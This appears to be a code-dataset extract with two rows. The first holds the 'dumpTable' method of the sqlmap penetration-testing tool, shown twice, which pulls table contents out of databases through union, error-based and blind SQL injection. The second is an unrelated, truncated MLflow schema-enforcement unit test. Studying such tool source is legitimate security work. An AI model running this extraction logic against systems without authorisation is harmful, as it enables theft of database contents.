colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
if not colList:
warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "" (no usable column names)""
logger.warn(warnMsg)
continue
kb.dumpColumns = colList
colNames = colString = "", "".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = ""fetching entries""
if conf.col:
infoMsg += "" of column(s) '%s'"" % colNames
infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
for column in colList:
_ = agent.preprocessField(tbl, column)
if _ != column:
colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)
entriesCount = 0
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = ""%s.%s"" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
warnMsg += ""you are advised to rerun with '--force-pivoting'""
singleTimeWarnMessage(warnMsg)
query = rootQuery.blind.count % table
query = agent.whereQuery(query)
count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
row = []
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=False, time=False, dump=True) or """"
row.append(value)
entries.append(row)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, blind=False)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if retVal:
entries, _ = retVal
entries = _zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
query = agent.whereQuery(query)
if not entries and query and not kb.dumpKeyboardInterrupt:
try:
entries = inject.getValue(query, blind=False, time=False, dump=True)
except KeyboardInterrupt:
entries = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not isNoneValue(entries):
if isinstance(entries, six.string_types):
entries = [entries]
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, six.string_types):
colEntry = entry
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column][""length""]:
kb.data.dumpedTable[column][""length""] = maxLen
kb.data.dumpedTable[column][""values""].append(colEntry)
if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
infoMsg = ""fetching number of ""
if conf.col:
infoMsg += ""column(s) '%s' "" % colNames
infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, tbl)
else:
query = rootQuery.blind.count % (conf.db, tbl)
query = agent.whereQuery(query)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ""appears to be empty""
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = ""unable to retrieve the number of ""
if conf.col:
warnMsg += ""column(s) '%s' "" % colNames
warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = ""%s.%s"" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = ""%s.%s"" % (conf.db, tbl)
elif Backend.isDbms(DBMS.INFORMIX):
table = ""%s:%s"" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
warnMsg += ""you are advised to rerun with '--force-pivoting'""
singleTimeWarnMessage(warnMsg)
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, union=False, error=False, dump=True) or """"
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, count, blind=True)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if retVal:
entries, lengths = retVal
else:
emptyColumns = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
debugMsg = ""checking for empty columns""
logger.debug(infoMsg)
for column in colList:
if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
emptyColumns.append(column)
debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
debugMsg += ""dumped as it appears to be empty""
logger.debug(debugMsg)
try:
for index in indexRange:
for column in colList:
value = """"
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
query = agent.whereQuery(query)
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
value = '' if value is None else value
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
warnMsg = ""unable to retrieve the entries ""
if conf.col:
warnMsg += ""of columns '%s' "" % colNames
warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
logger.warn(warnMsg)
else:
kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
""table"": safeSQLIdentificatorNaming(tbl, True),
""db"": safeSQLIdentificatorNaming(conf.db)}
try:
attackDumpedTable()
except (IOError, OSError) as ex:
errMsg = ""an error occurred while attacking ""
errMsg += ""table dump ('%s')"" % getSafeExString(ex)
logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException as ex:
errMsg = ""connection exception detected in dumping phase ""
errMsg += ""('%s')"" % getSafeExString(ex)
logger.critical(errMsg)
finally:
kb.dumpColumns = None
kb.dumpTable = None",,sqlmapproject/sqlmap,422b1a6f959003501b9d7736b5f9f016ae831044,"def dumpTable(self, foundData=None):
self.forceDbmsEnum()
if conf.db is None or conf.db == CURRENT_DB:
if conf.db is None:
warnMsg = ""missing database parameter. sqlmap is going ""
warnMsg += ""to use the current database to enumerate ""
warnMsg += ""table(s) entries""
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
elif conf.db is not None:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.db = conf.db.upper()
if ',' in conf.db:
errMsg = ""only one database name is allowed when enumerating ""
errMsg += ""the tables' columns""
raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','):
infoMsg = ""skipping database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg)
return
conf.db = safeSQLIdentificatorNaming(conf.db)
if conf.tbl:
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
conf.tbl = conf.tbl.upper()
tblList = conf.tbl.split(',')
else:
self.getTables()
if len(kb.data.cachedTables) > 0:
tblList = kb.data.cachedTables.values()
if isinstance(tblList[0], (set, tuple, list)):
tblList = tblList[0]
elif not conf.search:
errMsg = ""unable to retrieve the tables ""
errMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
raise SqlmapNoneDataException(errMsg)
else:
return
for tbl in tblList:
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
for tbl in tblList:
if kb.dumpKeyboardInterrupt:
break
if conf.exclude and tbl in conf.exclude.split(','):
infoMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg)
continue
conf.tbl = tbl
kb.data.dumpedTable = {}
if foundData is None:
kb.data.cachedColumns = {}
self.getColumns(onlyColNames=True, dumpMode=True)
else:
kb.data.cachedColumns = foundData
try:
if Backend.isDbms(DBMS.INFORMIX):
kb.dumpTable = ""%s:%s"" % (conf.db, tbl)
else:
kb.dumpTable = ""%s.%s"" % (conf.db, tbl)
if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
warnMsg = ""unable to enumerate the columns for table ""
warnMsg += ""'%s' in database"" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "" '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "", skipping"" if len(tblList) > 1 else """"
logger.warn(warnMsg)
continue
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
colList = sorted(column for column in columns if column)
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
if not colList:
warnMsg = ""skipping table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += "" (no usable column names)""
logger.warn(warnMsg)
continue
kb.dumpColumns = colList
colNames = colString = "", "".join(column for column in colList)
rootQuery = queries[Backend.getIdentifiedDbms()].dump_table
infoMsg = ""fetching entries""
if conf.col:
infoMsg += "" of column(s) '%s'"" % colNames
infoMsg += "" for table '%s'"" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += "" in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
for column in colList:
_ = agent.preprocessField(tbl, column)
if _ != column:
colString = re.sub(r""\b%s\b"" % re.escape(column), _, colString)
entriesCount = 0
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
entries = []
query = None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.inband.query % (colString, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
# Partial inband and error
if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
table = ""%s.%s"" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
warnMsg += ""you are advised to rerun with '--force-pivoting'""
singleTimeWarnMessage(warnMsg)
query = rootQuery.blind.count % table
query = agent.whereQuery(query)
count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
row = []
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, blind=False, time=False, dump=True) or """"
row.append(value)
entries.append(row)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, blind=False)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if retVal:
entries, _ = retVal
entries = _zip(*[entries[colName] for colName in colList])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
else:
query = rootQuery.inband.query % (colString, conf.db, tbl)
query = agent.whereQuery(query)
if not entries and query and not kb.dumpKeyboardInterrupt:
try:
entries = inject.getValue(query, blind=False, time=False, dump=True)
except KeyboardInterrupt:
entries = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not isNoneValue(entries):
if isinstance(entries, six.string_types):
entries = [entries]
elif not isListLike(entries):
entries = []
entriesCount = len(entries)
for index, column in enumerate(colList):
if column not in kb.data.dumpedTable:
kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}
for entry in entries:
if entry is None or len(entry) == 0:
continue
if isinstance(entry, six.string_types):
colEntry = entry
else:
colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''
maxLen = max(len(column), len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))
if maxLen > kb.data.dumpedTable[column][""length""]:
kb.data.dumpedTable[column][""length""] = maxLen
kb.data.dumpedTable[column][""values""].append(colEntry)
if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
infoMsg = ""fetching number of ""
if conf.col:
infoMsg += ""column(s) '%s' "" % colNames
infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.info(infoMsg)
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = rootQuery.blind.count % tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
elif Backend.isDbms(DBMS.MAXDB):
query = rootQuery.blind.count % tbl
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.count % (conf.db, tbl)
else:
query = rootQuery.blind.count % (conf.db, tbl)
query = agent.whereQuery(query)
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
lengths = {}
entries = {}
if count == 0:
warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
warnMsg += ""appears to be empty""
logger.warn(warnMsg)
for column in colList:
lengths[column] = len(column)
entries[column] = []
elif not isNumPosStrValue(count):
warnMsg = ""unable to retrieve the number of ""
if conf.col:
warnMsg += ""column(s) '%s' "" % colNames
warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
logger.warn(warnMsg)
continue
elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX):
if Backend.isDbms(DBMS.ACCESS):
table = tbl
elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
table = ""%s.%s"" % (conf.db, tbl)
elif Backend.isDbms(DBMS.MAXDB):
table = ""%s.%s"" % (conf.db, tbl)
elif Backend.isDbms(DBMS.INFORMIX):
table = ""%s:%s"" % (conf.db, tbl)
if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
warnMsg += ""you are advised to rerun with '--force-pivoting'""
singleTimeWarnMessage(warnMsg)
try:
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
for column in colList:
query = rootQuery.blind.query3 % (column, column, table, index)
query = agent.whereQuery(query)
value = inject.getValue(query, union=False, error=False, dump=True) or """"
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if not entries and not kb.dumpKeyboardInterrupt:
try:
retVal = pivotDumpTable(table, colList, count, blind=True)
except KeyboardInterrupt:
retVal = None
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
if retVal:
entries, lengths = retVal
else:
emptyColumns = []
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
debugMsg = ""checking for empty columns""
logger.debug(infoMsg)
for column in colList:
if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
emptyColumns.append(column)
debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
debugMsg += ""dumped as it appears to be empty""
logger.debug(debugMsg)
try:
for index in indexRange:
for column in colList:
value = """"
if column not in lengths:
lengths[column] = 0
if column not in entries:
entries[column] = BigArray()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
elif Backend.isDbms(DBMS.SQLITE):
query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
elif Backend.isDbms(DBMS.FIREBIRD):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
elif Backend.isDbms(DBMS.INFORMIX):
query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
query = agent.whereQuery(query)
value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
value = '' if value is None else value
lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
entries[column].append(value)
except KeyboardInterrupt:
kb.dumpKeyboardInterrupt = True
clearConsoleLine()
warnMsg = ""Ctrl+C detected in dumping phase""
logger.warn(warnMsg)
for column, columnEntries in entries.items():
length = max(lengths[column], len(column))
kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}
entriesCount = len(columnEntries)
if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
warnMsg = ""unable to retrieve the entries ""
if conf.col:
warnMsg += ""of columns '%s' "" % colNames
warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
logger.warn(warnMsg)
else:
kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
""table"": safeSQLIdentificatorNaming(tbl, True),
""db"": safeSQLIdentificatorNaming(conf.db)}
try:
attackDumpedTable()
except (IOError, OSError) as ex:
errMsg = ""an error occurred while attacking ""
errMsg += ""table dump ('%s')"" % getSafeExString(ex)
logger.critical(errMsg)
conf.dumper.dbTableValues(kb.data.dumpedTable)
except SqlmapConnectionException as ex:
errMsg = ""connection exception detected in dumping phase ""
errMsg += ""('%s')"" % getSafeExString(ex)
logger.critical(errMsg)
finally:
kb.dumpColumns = None
kb.dumpTable = None"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_model_export_with_loader_module_and_data_path.py,1,"def test_column_schema_enforcement():
m = Model()
input_schema = Schema(
[
ColSpec(""integer"", ""a""),
ColSpec(""long"", ""b""),
ColSpec(""float"", ""c""),
ColSpec(""double"", ""d""),
ColSpec(""boolean"", ""e""),
ColSpec(""string"", ""g""),
ColSpec(""binary"", ""f""),
ColSpec(""datetime"", ""h""),
]
)
m.signature = ModelSignature(inputs=input_schema)
pyfunc_model = PyFuncModel(model_meta=m, model_impl=TestModel())
pdf = pd.DataFrame(
data=[[1, 2, 3, 4, True, ""x"", bytes([1]), ""2021-01-01 00:00:00.1234567""]],
columns=[""b"", ""d"", ""a"", ""c"", ""e"", ""g"", ""f"", ""h""],
dtype=np.object,
)
pdf[""a""] = pdf[""a""].astype(np.int32)
pdf[""b""] = pdf[""b""].astype(np.int64)
pdf[""c""] = pdf[""c""].astype(np.float32)
pdf[""d""] = pdf[""d""].astype(np.float64)
pdf[""h""] = pdf[""h""].astype(np.datetime64)
# test that missing column raises
with pytest.raises(MlflowException) as ex:
res = pyfunc_model.predict(pdf[[""b"", ""d"", ""a"", ""e"", ""g"", ""f"", ""h""]])
assert ""Model is missing inputs"" in str(ex)
# test that extra column is ignored
pdf[""x""] = 1
# test that columns are reordered, extra column is ignored
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
expected_types = dict(zip(input_schema.input_names(), input_schema.pandas_types()))
# MLflow datetime type in input_schema does not encode precision, so add it for assertions
expected_types[""h""] = np.dtype(""datetime64[ns]"")
actual_types = res.dtypes.to_dict()
assert expected_types == actual_types
# Test conversions
# 1. long -> integer raises
pdf[""a""] = pdf[""a""].astype(np.int64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
# 2. integer -> long works
pdf[""b""] = pdf[""b""].astype(np.int32)
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
pdf[""b""] = pdf[""b""].astype(np.int64)
# 3. unsigned int -> long works
pdf[""b""] = pdf[""b""].astype(np.uint32)
res = pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
pdf[""b""] = pdf[""b""].astype(np.int64)
# 4. unsigned int -> int raises
pdf[""a""] = pdf[""a""].astype(np.uint32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
# 5. double -> float raises
pdf[""c""] = pdf[""c""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 6. float -> double works, double -> float does not
pdf[""d""] = pdf[""d""].astype(np.float32)
res = pyfunc_model.predict(pdf)
assert res.dtypes.to_dict() == expected_types
assert ""Incompatible input types"" in str(ex)
pdf[""d""] = pdf[""d""].astype(np.float64)
pdf[""c""] = pdf[""c""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 7. int -> float raises
pdf[""c""] = pdf[""c""].astype(np.int32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""c""] = pdf[""c""].astype(np.float32)
# 8. int -> double works
pdf[""d""] = pdf[""d""].astype(np.int32)
pyfunc_model.predict(pdf)
assert all((res == pdf[input_schema.input_names()]).all())
assert res.dtypes.to_dict() == expected_types
# 9. long -> double raises
pdf[""d""] = pdf[""d""].astype(np.int64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""d""] = pdf[""d""].astype(np.float64)
# 10. any float -> any int raises
pdf[""a""] = pdf[""a""].astype(np.float32)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
# 10. any float -> any int raises
pdf[""a""] = pdf[""a""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""a""] = pdf[""a""].astype(np.int32)
pdf[""b""] = pdf[""b""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
assert ""Incompatible input types"" in str(ex)
pdf[""b""] = pdf[""b""].astype(np.int64)
pdf[""b""] = pdf[""b""].astype(np.float64)
with pytest.raises(MlflowException) as ex:
pyfunc_model.predict(pdf)
pdf[""b""] = pdf[""b""].astype(np.int64)
assert ""Incompatible input types"" in str(ex)
# 11. objects work
pdf[""b""] = pdf[""b""].astype(np.object)
pdf[""d""] = pdf[""d""].astype(np.object)
pdf[""e""] = pdf[""e""].astype(np.object)
pdf[""f""] = pdf[""f""].astype(np.object)
pdf[""g""] = pdf[""g""].astype(np.object)
